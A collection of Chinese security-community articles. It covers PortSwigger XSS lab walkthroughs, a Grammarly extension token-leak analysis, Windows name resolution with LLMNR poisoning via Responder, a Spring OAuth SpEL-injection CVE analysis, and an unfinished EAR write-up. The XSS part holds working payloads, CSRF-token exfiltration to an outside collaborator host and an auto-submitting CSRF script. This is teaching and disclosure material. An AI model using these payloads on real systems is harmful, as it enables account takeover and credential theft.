可以把svg当成一个图,animateTransform就可以让图旋转
payload
search="><svg><animatetransform onbegin=alert(1)>
## [Reflected XSS in canonical link tag](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag)
payload
'accesskey='x'onclick='alert(1)
闭合单引号增加link的属性
知识点
link三个属性缺一不可,rel属性不可改变
<link rel="canonical" accesskey="x" onclick="alert(1)">
触发
Windows: ALT+SHIFT+X
MacOS: CTRL+ALT+X
Linux: Alt+X
## [Reflected XSS into a JavaScript string with single quote and backslash
escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped)
输入1234测试
是不是很像之前做过的某题`'-alert(1)-'`
可以看到它在我们闭合单引号前加了斜杠,导致无法闭合
那我们是不是可以不用单引号闭合点其他的呢
猜对了,直接闭合script标签
payload
</script><script>alert(1)</script>
## [Reflected XSS into a JavaScript string with angle brackets and double
quotes HTML-encoded and single quotes escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped)
1234测试,熟悉的味道
单引号闭合被加
script标签闭合被实体化
不要慌,第三种姿势来了
'-alert(1)//
原理也很简单
我们输入的内容是`'-alert(1)//`
waf又给我们加了一个斜杠就变成了`'-alert(1)//`
和前面代码拼接起来就是`var searchTerms = ''-alert(1)//';`
两个\经过转义就是一个\了
alert后面两个//是注释掉后面的内容了
## [Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped)
payload
多一种思路闭合代码
http://foo?'-alert(1)-'
对比一下就会发现`'-alert(1)-'`被转义成了`'-alert(1)-'`
转义后变成了字符串-alert(1)-字符串
漏洞成因:没有源码-.-
## [Reflected XSS into a template literal with angle brackets, single, double
quotes, backslash and backticks Unicode-escaped](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-template-literal-angle-brackets-single-double-quotes-backslash-backticks-escaped)
新知识:模板字符串
就是可以在字符串里面执行一些代码
用python来解释就是下图
1234测试,可以看到是被模板字符串包裹着
payload(轻轻松松)
${alert(1)}
# 高级篇
## [Reflected XSS with event handlers and href attributes
blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked)
常规跑标签
常规跑事件
所有事件凉凉,href也不能用
那么有什么能代替href的吗
这时候就看js的功底了
attributename可以把href="xxx"分解成attributename=href values=xxx
payload
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>
## [Reflected XSS in a JavaScript URL with some characters
blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked)
漏洞成因
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>
先试试单引号能不能闭合
fuzz
fuzz的结果就是只要是&开头就合法,那么就试试&'+'1能不能闭合(注意编码,url里的+是空格的意思)
点击Black同时burp抓包,发现请求的url确实是3&1
闭合了单引号说明我们目前能控制post请求body里面的内容但不能弹窗
原来的代码
href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=3&'+'1'}).finally(_ => window.location = '/')"
试试能不能闭合{
测试的话就这样慢慢测
本地测试点击test2是可以弹窗的
href="javascript:fetch('/test', {method:'post',body:'/post?postId=3&'+'1'},alert('test2')).finally(_ => window.location = '/')"
说干就干,测试`&'+'1'},alert(1)`得到
先不管后面闭合没闭合,重要的是()被过滤了
想不到怎么绕过就看一眼payload吧
payload
&'},x=x=>{throw/**/onerror=alert,1337}, toString=x,window+'',{x:'
下面把payload拆分成五个部分来解释
`&'},` `x=x=>{throw/**/onerror=alert,1337},` `toString=x,` `window+'',` `{x:'`
`&'},`闭合前面的{
`x=x=>{throw/**/onerror=alert,1337},`
定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert
`toString=x,`用箭头函数重载toString函数
`window+'',`用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数,第8行第9行是等价的
`{x:'`闭合后面的'},
## [Reflected XSS with AngularJS sandbox escape without
strings](https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-without-strings)
回忆一下之前也有个题是angular,payload是`{{$on.constructor('alert(1)')()}}`
通过fuzz可以猜测出是按照键值对生成的代码
这就意味着下面xxxxxxxxx的地方是可控的,测试的代码贴出来感兴趣的可以自己测
<html>
<head>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
<title>test</title>
</head>
<body ng-app="labApp" class="ng-scope">
<script>angular.module('labApp', []).controller('vulnCtrl', function ($scope, $parse) {
$scope.query = {};
var key = 'xxxxxxxx';
$scope.query[key] = 'xxxxxxxxxx';
$scope.value = $parse(key)($scope.query);
});</script>
<h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1>
</body>
</html>
那么查看关键代码是干什么的
$scope.value = $parse(key)($scope.query);
这个是$parse的用法,相关资料很少
大概意思是说给一个表达式进去会返回一个函数
payload
1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
这个漏洞原理还需要研究很多代码
专业的事情交给专业的人吧,这个链接有大部分沙箱逃逸的poc,浪费一天看源码-.-
(<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-sandbox-escapes-reflected>)
## [Reflected XSS with AngularJS sandbox escape and
CSP](https://portswigger.net/web-security/cross-site-scripting/contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp)
下面就开始接触到CSP了,简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截
payload
search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x'
`<input id=x`和后面的`#x`对应,会选中id=x的元素
`ng-focus`该事件可绕过csp
`$event.path|orderBy:'(z=alert)(document.cookie)'`angular沙箱逃逸
angular我自己也不熟,之前也花了几天跟里面的代码
我感觉不是专攻这方面的话,知道angular沙箱逃逸如何利用就足够了
## [Reflected XSS protected by very strict CSP, with dangling markup
attack](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack)
看官方payload看不懂没事,跟我的思路走一遍就懂了
触发xss的点
可以看到已经闭合前面的标签,但是却没弹窗,是被CSP拦了
修改邮箱需要两个参数,邮箱和csrf
所以第一步就是获取受害者的csrf
悬挂标签的妙用
https://0a9100ac03953f93c04f0c380001004e.web-security-academy.net/my-account?email=1"><button background='//9lveazanrxfo8i8fx050zhatfklc91.oastify.com?
因为我们插入的是button标签并没有闭合,他就会找到下一个button标签的闭合处
用img标签悬挂带出csrf被CSP拦截
第二步绕过CSP
my-account?email="><a%20href="http://x.x.x.87/test.html">Click%20me</a><base%20target=%27
然后看我服务器的test.html
点击click me后会跳转到我们的网址
然后为什么能带出csrf呢
第一点:悬挂标签把csrf当成标签里的内容了,所以可以看到弹窗的内容就是悬挂标签自动闭合后的内容
第二点:`<base target='xxx'>`此标签会把target的值传递给跳转页面后的window.name,绕过了CSP策略
拿到csrf后就开始思考如何利用了
官方的payload是需要受害者点击两次,第一次是获取csrf,第二次是我们构造的post修改邮箱
在实际利用的时候要受害者点击两次难度会大大增加
那么有没有办法实现一次点击完成整个利用呢
burp有自动生成的csrf脚本
在此基础上修改脚本
大概流程就是接受window.name提取csrf的值,通过js修改html中的csrf,自动提交post请求
<html>
<head>
<title>test</title>
</head>
<body>
<form action="https://0a1e002604b682fbc0ad28e100450051.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="csrf" value="bcd4JRiB7jZoxQK9JnpENj09l4DVDEMo" />
<input type="submit" value="Submit request" />
</form>
<script>
var csrf_=window.name;
var re = /value="\w+"/g;
var csrf = csrf_.match(re)[0].substring(7,csrf_.match(re)[0].length-1);
var arr = document.getElementsByName("csrf")
arr[0].value=csrf
document.forms[0].submit();
</script>
</body>
</html>
一次点击就可以完成利用了,中间会跳转到你自己的服务器页面,可以把页面模仿做成加载中什么之类的
另外说一下绕过CSP的方法还有很多种,可以自己深度学习一下
如果真的实在绕不过CSP可以看看CSP的策略是否信任自己的子域
在子域找xss然后加载子域的js脚本
## [Reflected XSS protected by CSP, with CSP
bypass](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass)
xss触发点
CSP拦截
利用点,虽然设置了CSP,但是我们却可以修改CSP的策略
payload
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
# 完结撒花
前前后后写了半个月,自己也是一边学习一边记录,如果有不对的地方还请大佬们指正 | 社区文章 |
# Grammarly For Chrome扩展任意用户劫持漏洞分析及利用
##### 译文声明
本文是翻译文章，文章原作者 逢魔安全实验室，文章来源：逢魔安全实验室
原文地址：<https://mp.weixin.qq.com/s/rQbJj_yprCFOxQIF1VU6kg##>
译文仅供参考，具体内容表达以及含义原文为准。
## 综述
2018年02月02日，Grammarly官方更新了Grammarly for
Chrome14.826.1446版本，其中修复了一个严重漏洞，在此之前的版本中此扩展能够向所有网站曝光用户的令牌信息，导致任意网站都可以访问并修改用户在Grammarly上的文档，词典，访问历史，日志信息，用户信息等敏感数据。Grammarly官方当日立即修复此漏洞，与2月5日关闭此Bug。
影响版本：≤ 14.826.1446。
攻击难度：低。
危害程度：高。
官方修复情况如下： **目前官方已经发布最新版本14.826.1446**
## 什么是Grammarly？
Grammarly是一款拥有1000w+用户的国外厂商开发的语法检查应用，提供了浏览器扩展、网页版、 Mac版和 Windows 版。如果你使用
Windows，Grammarly 还提供了 Word 插件，下载后可以在Word 内部调用插件直接检查语法错误，我也是Grammarly的忠实用户之一。
Grammarly可以实现实时语法检查，你边写它就边改，语法问题和修改意见会以标注的形式显示在文档的右侧，方便你去一一查看，而且在每条批注下面都会配有详细的解释，告诉你哪里错了，为什么要这样修改。当你出现错误的内容可以存入用户字典或者文档中。
关于Grammarly的厉害之处请戳：<https://youtu.be/wOxVMRwLfjU>
## 漏洞分析
从网络上下载老版本的扩展插件，这里我们使用最新版之前的一个版本14.825.1439(这里有所有版本<https://www.crx4chrome.com/history/2722/>
)，然后解压插件包，主要代码都在extension_14_825_1439_0srcjsGrammarly.js文件中，代码很多，但是主要核心漏洞代码如下图所示：
这里在返回的Message对象中，当返回的数据data.action=user，并且data.Grammarly=true时，调用sendUser()函数，在sendUser()函数中直接将user对象返回了，此user对象中包括了用户的所有信息，包括email，firstName，grauth等敏感信息，所以导致任意网站都可以通过触发message事件，通过postMessage操作获取Grammarly用户的敏感信息。
因为Grammarly的很多接口登录认证只需要grauth这个token值就可以直接访问，所以通过恶意获取用户grauth值之后就可以随意操作用户的数据信息了。
## 漏洞验证及利用
在官方的漏洞详情中，漏洞作者给出了在浏览器console中执行几行代码即可触发漏洞，如下图所示：
下面来解释一下这四行代码的意思：
1. 将当前DOM中的节点元素置为可编辑状态(默认不可编辑)；
2. 返回文档中匹配指定的选择器组的第一个元素，这里返回[data-action=”editor”]的节点元素并执行点击操作；
3. 返回class=gr_-ifr的iframe节点元素对象，再通过contentWindow得到iframe包含页面的window对象，最后将此对象注册到一个指定的监听器上，当该对象触发指定的事件message时，回调并执行匿名函数；
4. 通过postMessage触发时间，并发送用户数据。
最后控制台上将返回用户信息中的email和grauth信息，如下图效果：
通过获取到grauth内容后，发送附带grauth
cookie内容(grauth未失效)的请求到Grammarly接口即可获取对应用户数据，如下图访问用户的文档：
其他可利用接口如下：
虽然这里可以证明漏洞，但是并没有充分利用此漏洞将其危害体现出来。漏洞报告中提到任意网站都可以获取用户敏感信息，那就是说我们创建一个恶意网站，只要安装Grammarly
for Chrome插件的用户访问到我们的网站就会被劫持，下面我们来实现此利用场景。
首先我们的站点页面必须存在可编辑文本的功能，比如<textarea>，这样才能自动调出Grammarly功能，所以我们构建如下页面即可：
这里已经成功指出我们的语法错误，这时点击右下角的图标即可进行相关操作了。
然后我们在此页面中加入构造好的js代码，在编辑区触发此js代码即可：
最后将我们构造好的站点发送给受害者，当受害者访问此网站时，鼠标移动到编辑区即可触发漏洞，发送用户email和grauth内容到攻击者服务器，如下图我们的服务器上收到的用户信息：
**备注：这里只进行局部测试，攻击方法可行，未进行任何非法操作及数据收集。**
## 漏洞修复
在2018年02月02日更新的14.826.1446最新版本中，已经修复此漏洞，在代码中直接将用户的敏感信息删除掉，如下图修复代码对比：
在Chrome中安装最新版本后，通过console调试也可以看出返回的data.user信息中已经没有email和grauth等敏感信息了，如下图所示：
使用Grammarly for Chrome的用户请及时更新避免被恶意攻击者劫持导致信息泄露被滥用。
## 参考链接
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1527> | 社区文章 |
本文作为一篇科普文章，阐述了 Windows 系统中的名称解析机制，同时也提及了几种利用名称解析机制的缺陷进行内网攻击的方式。
# 0x00 Windows 名称解析简介
* * *
TCP 协议的通信是基于 IP 地址的，“名称解析”就是把需要访问的计算机的名字解析为 IP 地址的过程。
**Windows 中的名称类型**
在 Windows 操作系统中，有两种名称，分别为：主机名称 和 NetBIOS 名称。
**主机名称**
从狭义上来说，主机名称正如它的字面意思一样就是一台主机的名字。从广义来说，它又不仅仅包含计算机的名字，也包含互联网中的域名。
由于域名是以树状的形式所表现的，同时也是主机名称的一种，所以主机名称是有层次的，最大长度为 255 个字符，允许的字符有 A～Z，a～z
和字符“－”。在域名系统中有一种标识一台主机的 DNS 名字的域名叫做 完全限定域名（FQDN），FQDN
是由“.”连接主机名字和主域名后缀组合成的，例如，seclab.her0in.org 的 FQDN 名称就是 seclab 。
**NetBIOS 名称**
在 Windows 系统中的另外一种名称就是 NetBIOS 名称，准确的说 NetBIOS 名称并非是一种名字系统，而是 Windows
操作系统网络的一个编程接口，允许主机之间使用 NetBIOS 名称进行通信，通信过程是建立在 NetBIOS 协议之上的。在安装完 Windows
系统后系统会默认使用计算机的名字做为当前主机的 NetBIOS 名称。它的最大长度为 16 个字符，其中最后一位是不可配置的，用于指定 NetBIOS
的服务类型。如果计算机名称不足 15 位则使用空格补全到 15 位，反之，如果计算机名称超过 15 位 则会截取前 15 位。常见的 NetBIOS 后缀有
0x20（文件和打印服务）、0x00（工作站服务）、0x03（报信者服务）等。
使用`nbtstat -n`命令查看本机的 NetBIOS 名称。
使用`nbtstat -A ipaddress`命令查看指定 IP 主机的 NetBIOS 名称。
# 0x01 Windows 名称解析相关协议
* * *
在 Windows 系统中有三种与名称解析相关的协议。
**Windows 名称解析之 DNS协议**
DNS 协议是一种最主要的也是操作系统首选的进行名称解析的协议，几乎每一种操作系统都支持 DNS 协议，同时， DNS 协议支持 IP v4 和 IP
v6。DNS 协议在实现名称解析的过程中，在客户机上没有任何本地的数据库文件，完全依赖于 DNS 服务器，所监听的端口是 UDP/53
。在客户机上可以使用`ipconfig /displaydns`命令来查看本机的 DNS 缓存，使用`ipconfig /flushdns`命令清除本机的
DNS 缓存。
DNS 的名称解析过程如下：
* 读取本机 DNS 缓存（已经包含本机 hosts 文件内容）
* 如果缓存中没有，则会请求网络配置中配置的 DNS 服务器
* 如果 DNS 服务器未作出响应，则请求失败。反之，DNS 服务器则会处理用户请求。
**Windows 名称解析之 NetBIOS 协议**
除了 DNS 之外，在早先版本的 Windows 中也使用 NetBIOS (network basic input/output
system，网络基本输入输出系统)进行名称解析。本文介绍的 NetBIOS 协议名称解析是微软后来定义的 nbt 即 NetBIOS over
TCP/IP 的名称解析类型。
nbt 服务监听的端口为 UDP/137，其进行名称解析的形式为向当前主机所在的子网域发送广播包。所以，当你使用抓包工具在局域网中抓包时总会收到很多
NBNS 数据包。
由于 NetBIOS 协议进行名称解析是发送的 UDP
广播包。这样做虽然速度快且无需额外的配置，但是广播包不能跨越网域同时也会增加一些网络流量，因此微软在后来推出了 WINS（Windows Internet
Name Service）服务器，当计算机配置为使用 WINS 服务器进行名称解析时，客户机将直接和 WINS 服务器进行单播通讯，这样就可以弥补
NetBIOS 协议使用广播进行名称解析的不足。
综上所述，NetBIOS 协议进行名称解析的过程如下：
* 检查本地 NetBIOS 缓存
* 如果缓存中没有请求的名称且已配置了 WINS 服务器，接下来则会向 WINS 服务器发出请求
* 如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
* 如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件
lmhosts 文件位于`C:\Windows\System32\drivers\etc\`目录中。
使用`nbtstat -c`命令查看本机的 NetBIOS 缓存
使用 **nbtstat -R** 命令清除本机的 NetBIOS 缓存
**Windows 名称解析之 LLMNR 协议**
DNS 协议的名称解析虽然高效但是需要在局域网中单独配置一台服务器作为 DNS 服务器，NetBIOS 协议的名称解析在一些情况下也需要单独配置一台
WINS 服务器，而且 NetBIOS 协议不支持 IP v6。因此，为了弥补这些不足，微软在 Windows Vista
之后推出了基于端到端的名称解析协议 — 本地链路多播名称解析（[Link-Local Multicast Name
Resolution](https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution)）简称为 LLMNR。
LLMNR 也称作多播 DNS ，因为其数据包格式类似于 DNS 的数据包。监听的端口为 UDP/5355，支持 IP v4 和 IP v6 ，并且在
Linux 上也实现了此协议。其解析名称的特点为端到端，IPv4 的广播地址为 224.0.0.252，IPv6 的广播地址为
FF02:0:0:0:0:0:1:3 或 FF02::1:3。
LLMNR 进行名称解析的过程为：
* 检查本地 NetBIOS 缓存
* 如果缓存中没有则会像当前子网域发送广播
* 当前子网域的其他主机收到并检查广播包，如果没有主机响应则请求失败
# 0x02 Windows 系统名称解析顺序
* * *
**影响 Windows 系统名称解析的两个因素**
#### 操作系统版本
从上述一小节中，可以发现，并非所有的操作系统版本都支持上述三种协议。
Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS。 所以此类版本的 Windows 都是先进行 DNS 名称解析，如果 DNS
解析名称失败，才会进行 NetBIOS 名称解析。
Windows Vista 之后（包括 2K8 ， Win7，Win8.x，Win 10）都支持上述三种协议，在这类
Windows系统中的名称解析顺序为：先进行 DNS 名称解析，如果 DNS 解析名称失败，则会使用 LLMNR 进行名称解析，最后才会使用 NetBIOS
名称解析。
#### 网络节点模式
还有一种影响 Windows 系统名称解析的一个因素就是当前主机的网络节点模式。可以使用`ipconfig /all`命令查看本机的网络节点模式，如下图：
图 1 查看本机网络节点模式
网络节点模式最主要会影响 NetBIOS 名称解析过程，是优先查询 WINS 服务器还是先在子网域中进行广播。具体的及节点模式描述如下：
1. B-节点(broadcast，广播)
Windows 使用广播来进行名称注册和名称解析，依据网关的配置，一个 B 节点客户机发送的数据包不能够超出局域网的范围。但是，B
节点并不适合于大型网络，实际上微软修改了标准的 B 节点类型，当 Windows 尝试解析名称时，首先检查 LMHOSTS
名称缓存，如果此行不通，Windows 就会发送广播，如果广播依然失败的话，那Windows 才会检查实际的 LMHOSTS 文件。
1. P-节点(per-to-per，对等)
这种方法并不使用广播，而是在计算机启动时，在网络中的 WINS 服务器上注册它们的名称，当计算机需要解析名称时，它会发送一个解析请求给 WINS
服务器。这种方法只在 WINS 服务器正常运行时有效，如果 WINS 服务器失败，则无法进行名称解析。
1. M-节点(mixed，混合)
Windows 联合使用 B 节点和 P 节点，并且默认使用 B 节点，如果 M 节点不能利用广播进行名称解析，它就使用 P 节点的 WINS
服务器来完成工作。
1. H-节点(hybrid，混合)
同样也是联合使用 B 节点和 P 节点，但工作方式相反，如果使用 WINS 服务器方式不能成功，则使用 B 节点的工作来完成工作。此节点模式也是目前
Windows 系统默认使用的节点模式。
# 0x03 利用 Windows 名称解析机制的缺陷进行内网攻击
* * *
常见的利用 Windows 名称解析机制的缺陷进行攻击的技术有 DNS Spoof ，NBNS Poison ，LLMNR Poison ， ICMP
Redirection。
可以使用 SpiderLabs 出的 Responder，或者 ZARP 工具包进行上述攻击。
LLMNR Poison 攻击环境如下：
* 攻击者主机（Linux）IP 192.168.237.133
* 受害者主机（Windows 8.1） IP 192.168.237.129
* 两台主机处于同一个局域网中
攻击者在启动 Responder 后，当受害者去访问一个在当前局域网中不存在的主机时就会触发 LLMNR Poison 攻击，如下图所示：
图 1 ： 受害者主机 PING 一台局域网中并不存在的主机
图 2 ：Responder 会响应 LLMNR 的广播包并进行了 Poison 攻击
图 3 ：在受害者的主机中 NetBIOS 缓存中已经加入了被 Poison 攻击的主机 IP 记录
上述攻击演示中，已经证实了 LLMNR Poison 攻击的效果，可以利用让受害者访问不存在的主机的共享进行 LLMNR Poison
攻击，这样可以获得受害者主机的 HASH ，拿到 HASH 就可以进行暴力破解了，如果是弱口令的话，就可以爆破出密码。同样也可以利用让受害者访问不存在的
HTTP 服务器进行 401 认证拿到客户端的 HASH，如下图所示：
图 4 ：受害者访问一个不存在的主机的共享
图 5 ：LLMNR Poison 攻击拿到了 SMB 验证过程中的 HASH
图 6 ：使用 john 对 HASH 进行暴力破解
# 0x04 参考及引用
* * *
<https://support.microsoft.com/en-us/kb/119493>
<https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution>
<https://support.microsoft.com/en-us/kb/163409>
<https://support.microsoft.com/en-us/kb/160177>
<http://read.newbooks.com.cn/info/132528.html> | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2016-10-17**
## 0x00 漏洞概述
### 1.漏洞简介
Spring Security
OAuth是为Spring框架提供安全认证支持的一个模块，在7月5日其维护者发布了这样一个[升级公告](https://pivotal.io/de/security/cve-2016-4977)，主要说明在用户使用`Whitelabel
views`来处理错误时，攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。漏洞的发现者在10月13日公开了该漏洞的[挖掘记录](http://secalert.net/#CVE-2016-4977)。
### 2.漏洞影响
授权状态下远程命令执行
### 3.影响版本
2.0.0 to 2.0.9
1.0.0 to 1.0.5
## 0x01 漏洞复现
### 1\. 环境搭建
docker pull maven
FROM maven
WORKDIR /tmp/
RUN wget http://secalert.net/research/cve-2016-4977.zip
RUN unzip cve-2016-4977.zip
RUN mv spring-oauth2-sec-bug/* /usr/src/mymaven
WORKDIR /usr/src/mymaven
RUN mvn clean install
CMD ["java", "-jar", "./target/demo-0.0.1-SNAPSHOT.jar"]
docker build -t mvn-spring .
docker run --rm --name mvn-spring-app -p 8080:8080 mvn-spring
### 2.漏洞分析
首先我们查看`src/resources/application.properties`的内容来获取`clientid`和用户的密码：
接着我们访问这个url：
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=hellotom
其中`client_id`就是我们前面获取到的，然后输入用户名user，密码填上面的`password`。
点击登录后程序会返回这样一个页面：
可以看到由于`hellotom`对于`redirect_uri`来说是不合法的值，所以程序会将错误信息返回并且其中带着`hellotom`，那么这个不合法的值可不可以是一个表达式呢？我们再访问这个url：
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
结果如下：
可以看到表达式被执行，触发了漏洞。
下面看代码，由于程序使用`Whitelabel`作为视图来返回错误页面，所以先看`/spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/WhitelabelErrorEndpoint.java`中第18-40行：
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {
private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";
@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);
}
}
这里定义了`Whitelabel`对错误的处理方法，可以看到程序通过`oauthError.getSummary()`来获取错误信息，我们再次访问这个url并开启动态调试：
http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}
请求中的`${2334-1}`已经被带入了`errorSummary`中，然后`errorSummary`被装入`model`中，再用`SpelView`进行渲染。
我们跟进`SpelView`到`spring-security-oauth/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java`中第21-54行：
class SpelView implements View {
...
public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
...
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);
...
}
}
可以看到在`render`时通过`helper`取`${}`中的值作为表达式，再用`parser.parseExpression`来执行，跟进一下`replacePlaceholders`这个函数，在`/org/springframework/util/PropertyPlaceholderHelper.class`第47-56行：
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "\'properties\' must not be null");
return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}
这个函数是个递归，也就是说如果表达式的值中有`${xxx}`这样形式的字符串存在，就会再取`xxx`作为表达式来执行。
我们看动态调试的结果：
首先因为传入了`${errorSummary}`，取`errorSummary`作为表达式来执行，继续执行程序：
由于`errorSummary`中存在`${2334-1}`，所以又取出了`2334-1`作为表达式来执行，从而触发了漏洞。所以从这里可以看出，漏洞的关键点在于这个对表达式的递归处理使我们可控的部分也会被当作表达式执行。
### 3.补丁分析
可以看到在 **第一次执行表达式之前**
程序将`$`替换成了由`RandomValueStringGenerator().generate()`生成的随机字符串，也就是`${errorSummary}
-> random{errorSummary}`，但是这个替换不是递归的，所以`${2334-1}`并没有变。
然后创建了一个`helper`使程序取`random{}`中的内容作为表达式，这样就使得`errorSummary`被作为表达式执行了，而`${2334-1}`因为不符合`random{}`这个形式所以没有被当作表达式，从而也就没有办法被执行了。
不过这个Patch有一个缺点：`RandomValueStringGenerator`生成的字符串虽然内容随机，但长度固定为6，所以存在暴力破解的可能性。
## 0x02 修复方案
* 使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用`Whitelabel`这个视图。
* 使用2.0.x版本的用户升级到2.0.10以及更高的版本
## 0x03 参考
https://www.seebug.org/vuldb/ssvid-92474
<http://secalert.net/#CVE-2016-4977>
<https://pivotal.io/de/security/cve-2016-4977>
<https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d>
<https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java>
* * * | 社区文章 |
# 1 前言
基于先前所做的研究工作，需要构建web应用的内路径图谱，本意是想构建精确的渗透路径，目前市面上看到大多数扫描器如果能够扫出来漏洞，好一点的可能会将攻击url和攻击参数展示出来，但是局限性就在于如果这个链接需要层层跳转，当用户不能直接访问这个攻击链接的时候，可能用户就会很迷茫：我该如何访问到这个链接？
那么构建了web内路径图谱后，我们就可以根据爬虫的爬取先后顺序构建一张web应用的网图，那么当出现某个攻击链接的时候，我们就可以使用图查询语句来搜寻从主页到攻击链接的最短路径，从而获得一条精确的渗透路径。
但是在构建过程中发现了一笔意外宝藏，这种检测思想可以对某些不那么常规的漏洞进行检测，比如EAR漏洞。
# 2 EAR漏洞
EAR漏洞翻译过来应该是执行重定向逻辑漏洞，英文按照理解应该是execution after
redirection，其实按照审计的思路这个漏洞不是很复杂，其实就是对于某些关键操作的鉴权没有加上exit等操作，导致程序虽然进行了header跳转或者href跳转，但是页面代码及页面内容仍旧可以执行或返回。
## 2.1 漏洞原理
下面给出一个具体的案例
这里的代码重点关注第三行，这里可以看到在鉴权上也的确使用了session来确保安全，但是漏洞点就在于只使用了header来进行跳转，而没有加上exit函数，这就会导致第三行往下的代码虽然我们没有username的权限但是依旧可以调用和执行下面的代码。
有人看到这里大概就已经明白了，这个漏洞其实就是逻辑漏洞的一种，大概率出现的业务场景应该是安装功能和鉴权功能。目前笔者所能想到的比较通用的业务场景是这两个，所以检测其实也是针对通用的业务场景。
如果搜下以往的漏洞应该会有大批量的安装EAR漏洞，大致场景就是虽然判断了lock是否存在，但是在判断完之后只是用了header来跳转到提示页面，没有使用exit函数来退出当前页面，导致安装功能可以提交新的数据库参数，从而导致重安装漏洞的存在。
<?php
function check_login()
{
session_start();
if (isset($_SESSION['user']) || isset($_SESSION['pass'])) {}
else{
echo "<script>";
echo "window.location.href = '?c=login'";
echo "</script>";
}
}
那么EAR漏洞对应到鉴权功能，大致代码就是对后台的权限进行了控制，如果没有user权限，那么也只是使用了header来跳转到登录界面，没有使用exit函数来退出，导致后台的所有的功能其实都是可以调用的。
## 2.2 漏洞危害
那么在看完漏洞原理后，相信原先不太理解EAR漏洞的应该都有了一定的认识，从后台鉴权这个业务场景来看，危害其实有两点
1、泄露了后台页面源码 2、无限制调用后台功能
这里就拿发现的EAR漏洞为例，利用burp抓包可以看到，在页面上方的确有window.location.href跳转，但是在后台源码里没有加上exit函数，导致在当前回显页面里其实是可以看到后台的登录界面和接口参数的，通常情况下后台的鉴权操作为统一接口，那么如果这个接口函数没有exit函数，那么利用爬虫机制其实可以爬取所有的后台页面。
（感觉这种漏洞应该也算是纵向越权的一种。。）
# 3 图谱构建
